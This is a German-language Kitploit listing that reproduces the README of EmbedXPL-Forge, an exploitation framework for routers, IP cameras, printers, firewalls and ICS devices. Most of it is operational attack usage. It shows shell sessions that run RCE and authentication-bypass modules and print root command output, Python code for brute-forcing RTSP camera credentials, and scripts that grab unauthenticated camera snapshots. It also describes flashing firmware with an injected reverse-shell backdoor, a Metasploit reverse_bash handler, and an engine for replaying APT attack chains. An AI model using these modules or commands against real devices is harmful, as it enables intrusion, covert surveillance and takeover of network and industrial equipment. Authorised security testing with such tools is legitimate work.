Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
EmbedXPL-Forge — Embedded Device Security Assessment Framework — 700 Module, 350 CVEs, 55 Hersteller, APT Group Engine. Deckt Router, IP-Kameras, GPON ONTs, ISP-CPEs, IoT/Embedded Edge ab. | Kitploit
Tools/GitHubGitHub/mrhenrike/embedxpl-forge
Embedded-System-SicherheitPenetrationstest-FrameworksSchwachstellenscannerExploit-FrameworksIoT-SicherheitNetzwerkkartierungPasswortangriffePayload-GenerierungExploitationSCADA/ICS-SicherheitHardware- & IoT-Sicherheit
42822vor 20h 18mVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Firmware-Analyse
GitHubmrhenrike/embedxpl-forge

EmbedXPL-Forge

Embedded Device Security Assessment Framework — 700 Module, 350 CVEs, 55 Hersteller, APT Group Engine. Deckt Router, IP-Kameras, GPON ONTs, ISP-CPEs, IoT/Embedded Edge ab.

Repository anzeigenWebseite

EmbedXPL-Forge

Python Platform License XPL Suite Issues Last Commit


Plattform-Hinweis: Dieses Framework wurde primär für Linux (Debian/Ubuntu/Kali) entwickelt und getestet. Die meisten hardwareabhängigen Module (WLAN-Adapter, USB-Geräte, Raw-Socket-Zugriff, Firmware-Tools) erfordern Linux. Die Ausführung unter Windows oder macOS kann bei vielen Modulen zu Fehlern oder eingeschränkter Funktionalität führen. Linux wird für maximale Kompatibilität dringend empfohlen.


EmbedXPL-Forge

Framework für Embedded- und Perimeter-Sicherheitsbewertung

EmbedXPL-Forge ist ein Open-Source-Exploitation- und Scanning-Framework für Sicherheitsexperten, die Router, Switches, IP-Kameras, NVR/DVR, GPON ONTs, ISP-CPEs, Drucker, IoT-, OT/ICS- und Embedded-Edge-Geräte auditieren. Es bietet 2800+ aktive Module für Credential-Tests, Vulnerability-Exploitation, Netzwerk-Scanning, Payload-Generierung, RTSP-Kamera-Angriffe, Firmware-Manipulation, mehrsprachige PolyExploit-Orchestrierung und ein vollständiges Drucker-Arsenal — mit 700+ CVEs, die über 114+ Hersteller abgebildet sind, und einer APT Group Attack Engine, die reale Angriffsketten von Nationalstaaten reproduziert.

Version: 3.2.0

Features

  • 625+ Exploit-Module — RCE, Auth-Bypass, Path Traversal, Info Disclosure, Buffer Overflow, DNS-Hijacking, Command Injection, Backdoor, CSRF, Config Decrypt, WPA/WPS-Keygen, Factory-Passwort-Generatoren, Heap/Stack-BOF-Ketten
  • 88 Credential-Module — Wörterbuchangriffe gegen FTP, SSH, Telnet, HTTP, SNMP, SFTP
  • 185+ Drucker-Exploit-Module — HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; PJL/IPP/LPD/WSD/CUPS; Pwn2Own 2026-Ketten; PrintingShellz; MS-RPRN NTLM Coercion
  • Vollständige RTSP-Kamera-Engine — Route-Brute-Force (195+ Routen), Credential-Brute-Force (80+ Paare), Basic/Digest-Auth, RTSPS/TLS, RTSP-over-HTTP-Tunnel (reines Python, RFC 2326 App-C), nmap/masscan/direct Scanner, ONVIF WS-Discovery, M3U-Ausgabe
  • 7 benutzerdefinierte Nmap-NSE-Skripte — RTSP-Discovery, Kamera-Fingerprinting, Hikvision/Dahua-CVE-Validierung, Default-Credential-Tests, Multi-Vendor-CVE-Checks, Snapshot-Erfassung (pip install embedxpl[nse])
  • Firmware-Exploitation-Suite — Formaterkennung, Backdoor-Injection, Checksum-Patching, Vendor-Flash-Bypass (NETGEAR, TP-Link, D-Link, ASUS)
  • PolyExploit-Orchestrator — Laufzeit-C/C++-Kompilierung (gcc/clang/mingw/cross), Ausführung von Ruby/Node.js/PHP/Bash/Perl-Exploits, msfconsole-Integration, ExploitDB/searchsploit-Integration
  • ICS/OT-Module — Universal Robots PolyScope 5, RIOT OS, Modbus, S7comm, EtherNet/IP, BACnet, DNP3
  • Smart Home / Maritime / Spezialisiert — eNet SMART HOME, OpenRemote, Metis Maritime IoT (WIC/DFS)
  • 5+ Scanner-Module — AutoPwn, gerätespezifische Scanner, WSD/mDNS-Druckererkennung
  • 32 Payload-Module — Reverse/Bind-TCP-Shells für x86, x64, ARM, MIPS, Python, Perl, PHP
  • 13 Encoder-Module — Base64- und Hex-Kodierung für Python, PHP, Perl
  • 14 generische Module — Heartbleed, ShellShock, UPnP IGD, SNMP-Bruteforce, TCP Xmas, UDP-Amplification, CVE-Lookup, DNS-Hijack-Detector, AITM-Interceptor
  • 700+ CVEs abgebildet — von 2001 bis 2026, einschließlich 2026 Pwn2Own-Ketten und kritischer IoT/OT/Maritime-CVEs
  • APT Group Attack Engine — Durchsuchen und Reproduzieren von Angriffsketten von APT28, Volt Typhoon, Sandworm, Quad7, Turla, APT40 mit MITRE-ATT&CK-Mapping
  • 23+ herstellerspezifische Wortlisten — externalisierte Standard-Anmeldedaten pro Hersteller (inkl. ISP-spezifisch Brasilien)

Unterstützte Gerätetypen

Unterstützte Hersteller

Netzwerk / Router / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL

Kameras / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Cisco-Kameras · Geuterbruck · Honeywell-Kameras · Jovision · Siemens-Kameras · Xiongmai (OEM) · Zivif · MVPower DVR · Generische P2P-WLAN-Kameras · Generische DVR/NVR-OEM

Drucker / MFP: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · Generische IPP/PJL/LPD/CUPS/WSD

NAS / VPN / Firewall / Security: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent

ICS / OT / Robotik: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP

Smart Home / Maritime / Embedded OS: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (maritim) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen

Installation

Option 1 — PyPI (empfohlen)```bash

pip install embedxpl embedxpl

root@kitploit:~
### Option 2 — Mit Nmap-NSE-Skripten```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"

# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install

# Verify installation
python -m embedxpl.nse list

Hinweis: Unter Linux/macOS kann der Installationsschritt sudo erfordern, um in /usr/share/nmap/scripts/ zu schreiben. Ausführen: sudo python -m embedxpl.nse install

Option 3 — Aus dem Quellcode```bash

git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher

or: python exf.py # auto-detects .venv

Optional: also install NSE scripts

.venv/bin/python -m embedxpl.nse install

root@kitploit:~
### Option 4 — Python-Modul```bash
pip install embedxpl
python -m embedxpl

Schnellstart```bash

Install

pip install embedxpl

Launch interactive shell

embedxpl

Run a specific module directly

embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1

Network discovery

embedxpl -c "discover 192.168.1.0/24"

RTSP camera scan + brute-force

embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100

Nmap NSE quick scan (after pip install embedxpl[nse] + embedxpl-nse install)

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100

root@kitploit:~
## Verwendung

### Interaktive Shell```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run

Häufige Befehle

APT-Gruppen-Angriffs-Engine```

List all cataloged threat actors

exf > apt list

Show APT28 attack chain details

exf > apt show apt28

Search for groups targeting MikroTik

exf > apt search mikrotik

Execute the full APT28 DNS hijack chain (interactive)

exf > apt run apt28

Execute only the credential disclosure attack (#0)

exf > apt run apt28 0

root@kitploit:~
### Netzwerkerkennung```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover

# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1

# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh

Discovery verwendet eine mehrphasige Pipeline: ARP-Sweep → Nmap (Multi-Method-Host-Probes) → Scapy → TCP-Connect-Fallback. Die Ergebnisse werden mit dem Modulkatalog abgeglichen und nach Hersteller/Modell gefiltert. Die IEEE-OUI-Datenbank (embedxpl/data/oui.txt) löst MAC-Adressen zu Herstellern auf, mit Online-First-Lookup und lokalem Fallback. Wenn ein Host WiFi-Fähigkeiten bereitstellt, empfiehlt das Tool WirelessXPL-Forge für drahtlosspezifische Angriffe.

Timing-Profile (T0–T5) spiegeln die Nmap-Konventionen wider:

Sitzungsverwaltung```

List all hosts with scan history

exf > sessions list

Full history for one host: tested modules, findings, timestamps

exf > sessions show 192.168.1.1

Export session as JSON

exf > sessions export 192.168.1.1

Delete one session

exf > sessions delete 192.168.1.1

Purge all sessions

exf > sessions purge

root@kitploit:~
Sessions werden in `~/.exf_sessions/` als JSON gespeichert, verschlüsselt mit SHA-256 von IP+MAC. Bei der Wiederentdeckung eines bekannten Hosts werden bereits getestete Module als `[Tested]` angezeigt und standardmäßig übersprungen.

### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run

RTSP-Kamera-Engine

Voll ausgestattete RTSP-Angriffs-Pipeline mit Python-nativer Implementierung, die alle standardmäßigen RTSP-Transportmodi abdeckt.

Transportmodi

Angriffs-Pipeline```python

from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream

1. Discover RTSP-speaking hosts on the network

scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])

Returns: [('192.168.1.100', 554), ('192.168.1.101', 8554), ...]

2. Run full 5-phase attack pipeline

attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)

3. Inspect results

for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True

root@kitploit:~
**Erwartete Ausgabe:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

Skip-Scan-Modus (Bekannte Hosts)```python

Skip network scan, attack known hosts directly

hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])

Accepts: "host:port", "host", CIDR "192.168.1-2.0-255", hostnames

root@kitploit:~
**Erwartete Ein-/Ausgabe:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]

RTSP-over-HTTP-Tunnel

Wird verwendet, wenn Kameras hinter HTTP-Proxys oder Unternehmensfirewalls stehen, die TCP/554 blockieren.```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel

Direct tunnel usage

tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )

Returns: raw RTSP response bytes (base64-decoded from HTTP body)

Or via RTSPClient factory

client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")

root@kitploit:~
**Erwartete Eingabe/Ausgabe:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

RTSP-Modul (Interaktiv)```

embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options

Option Default Description


target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery

embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run

root@kitploit:~
## Nmap NSE-Skripte

EmbedXPL-Forge enthält 7 benutzerdefinierte Nmap NSE-Skripte für IoT-/Kamera-Scans und CVE-Erkennung.

### Installation```bash
# Install with NSE extras
pip install "embedxpl[nse]"

# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install

# Force overwrite existing scripts
python -m embedxpl.nse install --force

# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts

Erwartete Ausgabe:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse

Installed: 7 script(s) [OK] nmap --script-updatedb complete

root@kitploit:~
### Auflisten / Info```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover

NSE-Skript-Referenz

embedxpl-rtsp-discover — RTSP-Diensterkennung

Erkennt RTSP-Dienste, liest den Server:-Banner aus, identifiziert den Hersteller, listet unterstützte Methoden auf und gleicht bekannte CVEs ab.```bash

Basic usage

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24

With custom timeout

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24

root@kitploit:~
**Erwartete Ausgabe:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
|   Status : 200
|   Server : Hikvision IP Camera NVRA (V5.4.5)
|   Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
|   Vendor : Hikvision
|   Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-camera-identify — Tiefgehende Kamera-Fingerabdrücke

Multi-Protokoll-Identifikation: sondiert HTTP/HTTPS-Web-UI, RTSP-Banner und ONVIF. Extrahiert Hersteller, Modell, Firmware, Seriennummer und MAC.```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24

root@kitploit:~
**Erwartete Ausgabe (Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
|   Protocol : HTTP (HTTP 200)
|   Vendor   : Hikvision
|   Model    : DS-2CD2143G0-I
|   Firmware : V5.6.2 build 190401
|   Serial   : DS-2CD2143G0-I20190401AAWRA123456789
|   CVEs     : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
|   Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-hikvision-vuln — Hikvision CVE-Prüfer

Aktive Validierung von CVE-2021-36260 (RCE über /SDK/webLanguage, CVSS 9.8) und CVE-2017-7921 (Auth-Bypass-Snapshot).```bash nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100 nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24

root@kitploit:~
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-hikvision-vuln:
|   Device          : DS-2CD2143G0-I
|   Firmware        : V5.3.0 build 170112
|   CVE-2021-36260  : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
|   CVE-2017-7921   : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
|   EmbedXPL RCE module  : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_  Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-dahua-vuln — Dahua CVE-Checker

Testet CVE-2021-33044 (Auth-Bypass, CVSS 9.8), CVE-2020-25078 (Benutzeroffenlegung), CVE-2013-6117 (Legacy-DVR). Deckt außerdem Dahua-OEMs ab: Amcrest, Intelbras, TVT, Jovision, ANNKE.```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24

root@kitploit:~
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-dahua-vuln:
|   Vendor         : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
|   CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
|   CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
|   CVE-2013-6117  : NOT VULNERABLE
|   EmbedXPL Auth Bypass  : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|   EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_  Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

embedxpl-rtsp-creds — RTSP-Standard-Anmeldedaten-Tester

Testet 18 Standard-Anmeldedaten-Paare über 9+ gängige RTSP-Routen mittels Basic-Auth. Meldet die erste Übereinstimmung.```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100

With custom route hint

nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100

root@kitploit:~
**Erwartete Ausgabe:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
|   Server           : Hikvision IP Camera NVRA
|   Credential found : admin: (empty password)
|   Stream URL       : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
|   Auth type        : Basic
|   Response code    : 200
|   EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_  Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-iot-cve-check — Multi-Vendor-CVE-Fingerprint

Erkennt und validiert 10 aktive CVEs über Hikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall und GPON hinweg.```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24

root@kitploit:~
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-iot-cve-check:
|   CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
|     → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   CVE-2021-33044 (Dahua, CVSS 9.8)   : NOT VULNERABLE — HTTP 404
|   EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_  Full exploitation: pip install embedxpl && embedxpl

embedxpl-camera-snapshot — Unauthentifizierter Snapshot-Zugriff

Prüft 16 herstellerspezifische Snapshot-Endpunkte. Meldet jede URL, die image/* ohne Anmeldedaten zurückgibt. Speichert optional JPEG-Dateien lokal.```bash nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100

Save snapshots to disk

nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24

root@kitploit:~
**Erwartete Ausgabe:**```
80/tcp open http
| embedxpl-camera-snapshot:
|   Endpoint 1 (Dahua):
|     URL          : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
|     Content-Type : image/jpeg
|     Size         : 45231 bytes
|     Access       : UNAUTHENTICATED SNAPSHOT ACCESS
|     EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_    Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

Alle NSE-Skripte über Python ausführen```bash

Run all scripts via embedxpl-nse CLI

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all

Run specific scripts

python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln

With output file

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt

Custom ports

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554

root@kitploit:~
**Deinstallieren:**```bash
python -m embedxpl.nse uninstall

Firmware-Exploitation```

embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run

root@kitploit:~
**Was es tut:**
1. Erkennt das Firmware-Format (TRX, DLOB, SEAMA, WRGG, rohe Binärdatei)
2. Injiziert eine Reverse-Shell-Backdoor an einem geeigneten Offset
3. Berechnet die CRC32/MD5-Prüfsumme neu
4. Lädt sie über einen herstellerspezifischen Flash-Endpunkt hoch (umgeht die Authentifizierung, wo anwendbar)
5. Wartet auf den Neustart des Geräts und überprüft die Ausführung der Backdoor


## PolyExploit Orchestrator

Ermöglicht die Laufzeitkompilierung von C/C++ und die Ausführung von Skripten in mehreren Sprachen für Exploits, die nicht auf reines Python portierbar sind.

### C/C++-Laufzeitkompilierung```python
from embedxpl.core.poly import CCompiler

compiler = CCompiler()

# Check available compilers
print(compiler.compiler_available())  # {'gcc': True, 'clang': False, 'mingw': False}

# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
    source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    // Stack overflow PoC
    char buf[64];
    memcpy(buf, argv[1], atoi(argv[2]));
    return 0;
}
""",
    arch="x86",   # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)

# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)

Ausführung von Skripten in mehreren Sprachen```python

from embedxpl.core.poly import PolyRunner

runner = PolyRunner() print(runner.available_runtimes())

{'ruby': True, 'node': True, 'php': True, 'bash': True, 'perl': True}

Execute a Ruby exploit

result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])

Metasploit integration

runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })

ExploitDB / searchsploit lookup

results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])

root@kitploit:~
## Neu in v3.1.0 — CVE 2026/2025/2024 + Drucker-Domain + Quality Gates

**54 neue Module** über Drucker, Embedded OS, ICS/OT, Smart Home, Maritime IoT und 2026 Pwn2Own-Ketten hinweg. Wichtige Highlights:

### 2026 Pwn2Own-Ketten```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed

# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run

Kritische CVEs 2026```

wolfSSL identity forgery (CVE-2026-5194, CVSS 9.3, ~5B devices)

exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run

PAN-OS User-ID BOF (CVE-2026-0300, CVSS 9.8, active exploitation)

exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run

Universal Robots PolyScope 5 (CVE-2026-8153, CVSS 9.8, unauth OS cmd injection)

exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)

GNU InetUtils telnetd auth bypass (CVE-2026-24061, CVSS 9.8, unauth root)

exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)

Metis maritime IoT (CVE-2026-2248, CVSS 9.8, unauth root shell)

exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run

Cisco IOS XE WLC hardcoded JWT (CVE-2025-20188, CVSS 10.0)

exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run

root@kitploit:~
### Printer Arsenal Beispiele```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS     : READY
INFO PAGECOUNT  : 12847
